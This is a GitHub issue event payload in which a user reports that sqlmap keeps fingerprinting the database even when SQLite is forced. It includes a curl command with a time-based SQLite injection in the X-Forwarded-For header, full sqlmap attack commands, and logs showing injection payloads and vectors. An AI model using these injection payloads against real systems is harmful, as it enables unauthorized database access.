payload: {"action":"created","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3477","repository_url":"https://api.github.com/repos/sqlmapproject/sqlmap","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3477/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3477/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3477/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/3477","id":408376665,"node_id":"MDU6SXNzdWU0MDgzNzY2NjU=","number":3477,"title":"SQLmap is still trying to fingerprint the DBMS when --dbms is given","user":{"login":"noraj","id":16578570,"node_id":"MDQ6VXNlcjE2NTc4NTcw","avatar_url":"https://avatars3.githubusercontent.com/u/16578570?v=4","gravatar_id":"","url":"https://api.github.com/users/noraj","html_url":"https://github.com/noraj","followers_url":"https://api.github.com/users/noraj/followers","following_url":"https://api.github.com/users/noraj/following{/other_user}","gists_url":"https://api.github.com/users/noraj/gists{/gist_id}","starred_url":"https://api.github.com/users/noraj/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/noraj/subscriptions","organizations_url":"https://api.github.com/users/noraj/orgs","repos_url":"https://api.github.com/users/noraj/repos","events_url":"https://api.github.com/users/noraj/events{/privacy}","received_events_url":"https://api.github.com/users/noraj/received_events","type":"User","site_admin":false},"labels":[{"id":8192956,"node_id":"MDU6TGFiZWw4MTkyOTU2","url":"https://api.github.com/repos/sqlmapproject/sqlmap/labels/support","name":"support","color":"02d7e1","default":false}],"state":"open","locked":false,"assignee":{"login":"stamparm","id":921555,"node_id":"MDQ6VXNlcjkyMTU1NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/921555?v=4","gravatar_id":"","url":"https://api.github.com/users/stamparm","html_url":"https://github.com/stamparm","followers_url":"https://api.github.com/users/stamparm/followers","following_url":"https://api.github.com/users/stamparm/following{/other_user}","gists_url":"https://api.github.com/users/stamparm/gists{/gist_id}","starred_url":"https://api.github.com/users/stamparm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stamparm/subscriptions","organizations_url":"https://api.github.com/users/stamparm/orgs","repos_url":"https://api.github.com/users/stamparm/repos","events_url":"https://api.github.com/users/stamparm/events{/privacy}","received_events_url":"https://api.github.com/users/stamparm/received_events","type":"User","site_admin":false},"assignees":[{"login":"stamparm","id":921555,"node_id":"MDQ6VXNlcjkyMTU1NQ==","avatar_url":"https://avatars1.githubusercontent.com/u/921555?v=4","gravatar_id":"","url":"https://api.github.com/users/stamparm","html_url":"https://github.com/stamparm","followers_url":"https://api.github.com/users/stamparm/followers","following_url":"https://api.github.com/users/stamparm/following{/other_user}","gists_url":"https://api.github.com/users/stamparm/gists{/gist_id}","starred_url":"https://api.github.com/users/stamparm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stamparm/subscriptions","organizations_url":"https://api.github.com/users/stamparm/orgs","repos_url":"https://api.github.com/users/stamparm/repos","events_url":"https://api.github.com/users/stamparm/events{/privacy}","received_events_url":"https://api.github.com/users/stamparm/received_events","type":"User","site_admin":false}],"milestone":null,"comments":3,"created_at":"2019-02-09T00:49:28Z","updated_at":"2019-02-13T21:57:51Z","closed_at":null,"author_association":"NONE","body":"## What's the problem (or question)?\r\n\r\nI'm forced to use `--flush-session` else I have a critical error `[CRITICAL] sqlmap was not able to fingerprint the back-end database management system`.\r\n```\r\nsqlmap -u http://x.x.x.x--method=GET --dbms=SQLite --risk=3 --level 5 -H 'X-Forwarded-For: 127.0.0.1*' --technique=T --tables --encoding ascii --os=linux --random-agent --hex --flush-session\r\n```\r\n\r\nI'm 100% sure it is SQLite so I forced `--dbms=SQLite` to save time but buy doing this SQLmap is not not trusting me and still try to fingerprint the DBMS.\r\n\r\nThe problem is that `--flush-session` force me to wait a long time each times for rebuilding the statistical model `[WARNING] time-based comparison requires larger statistical model, please wait............................  (done)` and re-detecting a lot of already discovered stuff.\r\n\r\n## Do you have an idea for a solution?\r\n<!--- Not obligatory, but suggest a fix/reason for the bug, -->\r\n<!--- or ideas how to implement the addition or change -->\r\n\r\nStop trying fingerprinting DBMS when DBMS is forced. \r\n\r\n## How can we reproduce the issue?\r\n<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->\r\nI fear you can without me disclosing the IP address.\r\n\r\n## What are the running context details?\r\n<!--- Include as many relevant details about the running context you experienced the bug/problem in -->\r\n* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): https://www.archlinux.org/packages/community/any/sqlmap/\r\n* Client OS (e.g. `Microsoft Windows 10`): archlinux\r\n* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): 1.3#stable\r\n* Target DBMS (e.g. `Microsoft SQL Server`): SQLite\r\n* Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`): I dont think\r\n* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): Time based blidn using RANDOMBLOB\r\n* target:  Linux Ubuntu, Nginx 1.10.3\r\n"},"comment":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/comments/463391533","html_url":"https://github.com/sqlmapproject/sqlmap/issues/3477#issuecomment-463391533","issue_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/3477","id":463391533,"node_id":"MDEyOklzc3VlQ29tbWVudDQ2MzM5MTUzMw==","user":{"login":"noraj","id":16578570,"node_id":"MDQ6VXNlcjE2NTc4NTcw","avatar_url":"https://avatars3.githubusercontent.com/u/16578570?v=4","gravatar_id":"","url":"https://api.github.com/users/noraj","html_url":"https://github.com/noraj","followers_url":"https://api.github.com/users/noraj/followers","following_url":"https://api.github.com/users/noraj/following{/other_user}","gists_url":"https://api.github.com/users/noraj/gists{/gist_id}","starred_url":"https://api.github.com/users/noraj/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/noraj/subscriptions","organizations_url":"https://api.github.com/users/noraj/orgs","repos_url":"https://api.github.com/users/noraj/repos","events_url":"https://api.github.com/users/noraj/events{/privacy}","received_events_url":"https://api.github.com/users/noraj/received_events","type":"User","site_admin":false},"created_at":"2019-02-13T21:57:51Z","updated_at":"2019-02-13T21:57:51Z","author_association":"NONE","body":"`curl -v http://x.x.x.x/ -H \"X-Forwarded-For: 127.0.0.1' OR RANDOMBLOB(500000000/2)-- -\"` making a sleep during several second, where any query without gives an instant result.\r\n\r\nHere is how sqlmap fails without flushing:\r\n\r\n```\r\n$ sqlmap -u http://x.x.x.x --method=GET --dbms=SQLite --risk=3 --level 5 -H 'X-Forwarded-For: 127.0.0.1*' --encoding ascii --os=linux --random-agent --hex --technique=T --tables                                                                noraj@penarch\r\n        ___\r\n       __H__\r\n ___ ___[']_____ ___ ___  {1.3.2#stable}\r\n|_ -| . [,]     | .'| . |\r\n|___|_  [']_|_|_|__,|  _|\r\n      |_|V...       |_|   http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting @ 22:47:51 /2019-02-13/\r\n\r\n[22:47:51] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17' from file '/opt/sqlmap/txt/user-agents.txt'\r\n[22:47:51] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'\r\ndo you want to try URI injections in the target URL itself? [Y/n/q] n\r\ncustom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y\r\n[22:47:54] [INFO] testing connection to the target URL\r\nsqlmap resumed the following injection point(s) from stored session:\r\n---\r\nParameter: X-Forwarded-For #1* ((custom) HEADER)\r\n    Type: AND/OR time-based blind\r\n    Title: SQLite > 2.0 OR time-based blind (heavy query)\r\n    Payload: 127.0.0.1' OR 8189=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- EeaN\r\n---\r\n[22:47:55] [INFO] testing SQLite\r\n[22:47:58] [WARNING] the back-end DBMS is not SQLite\r\n[22:47:58] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system\r\n```\r\n\r\nWith `-v 6`:\r\n\r\n```\r\n$ sqlmap -u http://x.x.x.x --method=GET --dbms=SQLite --risk=3 --level 5 -H 'X-Forwarded-For: 127.0.0.1*' --encoding ascii --os=linux --random-agent --hex --technique=T --tables -v 6                                                           noraj@penarch\r\n        ___\r\n       __H__\r\n ___ ___[)]_____ ___ ___  {1.3.2#stable}\r\n|_ -| . [.]     | .'| . |\r\n|___|_  [']_|_|_|__,|  _|\r\n      |_|V...       |_|   http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting @ 22:54:28 /2019-02-13/\r\n\r\n[22:54:28] [DEBUG] cleaning up configuration parameters\r\n[22:54:28] [DEBUG] setting the HTTP timeout\r\n[22:54:28] [DEBUG] setting extra HTTP headers\r\n[22:54:28] [DEBUG] loading random HTTP User-Agent header(s) from file '/opt/sqlmap/txt/user-agents.txt'\r\n[22:54:28] [INFO] fetched random HTTP User-Agent header value 'Opera/9.21 (Windows NT 5.1; U; pt-br)' from file '/opt/sqlmap/txt/user-agents.txt'\r\n[22:54:28] [DEBUG] creating HTTP requests opener object\r\n[22:54:28] [DEBUG] forcing back-end DBMS to user defined value\r\n[22:54:28] [DEBUG] forcing back-end DBMS operating system to user defined value 'Linux'\r\n[22:54:28] [DEBUG] setting the HTTP Referer header to the target URL\r\n[22:54:28] [DEBUG] setting the HTTP Host header to the target URL\r\n[22:54:28] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'\r\ndo you want to try URI injections in the target URL itself? [Y/n/q] n\r\ncustom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y\r\n[22:54:33] [INFO] testing connection to the target URL\r\n[22:54:33] [TRAFFIC OUT] HTTP request [#1]:\r\nGET /maria/ HTTP/1.1\r\nHost: x.x.x.x\r\nReferer: http://x.x.x.x\r\nAccept-encoding: gzip,deflate\r\nX-Forwarded-For: 127.0.0.1\r\nAccept: */*\r\nUser-agent: Opera/9.21 (Windows NT 5.1; U; pt-br)\r\nConnection: close\r\n\r\n[22:54:34] [TRAFFIC IN] HTTP response [#1] (200 OK):\r\nContent-encoding: gzip\r\nTransfer-encoding: chunked\r\nSet-cookie: PHPSESSID=qvptjasvu8b0ilc1vqa5a1kr66; path=/, PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nUri: http://x.x.x.x\r\nServer: nginx/1.10.3 (Ubuntu)\r\nConnection: close\r\nPragma: no-cache\r\nCache-control: no-store, no-cache, must-revalidate\r\nDate: Wed, 13 Feb 2019 21:54:35 GMT\r\nContent-type: text/html; charset=UTF-8\r\n\r\n[...]\r\n\r\nsqlmap resumed the following injection point(s) from stored session:\r\n---\r\nParameter: X-Forwarded-For #1* ((custom) HEADER)\r\n    Type: AND/OR time-based blind\r\n    Title: SQLite > 2.0 OR time-based blind (heavy query)\r\n    Payload: 127.0.0.1' OR 8189=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- EeaN\r\n    Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)\r\n---\r\n[22:54:34] [INFO] testing SQLite\r\n[22:54:34] [WARNING] the back-end DBMS is not SQLite\r\n[22:54:34] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system\r\n\r\n[*] ending @ 22:54:34 /2019-02-13/\r\n\r\n------------------------------------------------------------\r\n```"}}
other: {"actor":{"display_login":"noraj"}}